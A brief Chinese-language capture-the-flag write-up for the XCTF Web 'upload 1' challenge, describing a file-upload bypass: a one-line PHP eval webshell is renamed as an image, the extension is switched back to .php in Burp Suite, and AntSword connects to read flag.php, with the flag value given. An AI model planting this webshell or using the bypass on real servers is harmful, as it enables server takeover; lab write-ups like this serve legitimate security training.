XCTF-Web|upload 1详细WriteUp

获取在线场景，得到：

联想可能是要上传webshell。于是编写一句话木马脚本：

<?php @eval($_POST['flag']);?>

当直接上传.php文件时，显示：

可知需要修改文件后缀，成为图片格式
将一句话木马的文件后缀改为.png或.jpg
选择文件，开启burpsuite拦截器，上传文件：

在filename处修改文件后缀名为.php,全选数据包后右键，点击send to repeater。在repeater页面点击Go按钮：

如图荧光笔位置显示出一句话木马成功上传的位置
此时用中国蚁剑进行连接：注意url地址一定是php上传的位置！，连接密码是php中自定义的密码

右键url点击文件管理，即可看到目录

打开flag.php

得到最终的flag值：
cyberpeace{9575ab47a40043e26f97c3f844640e55}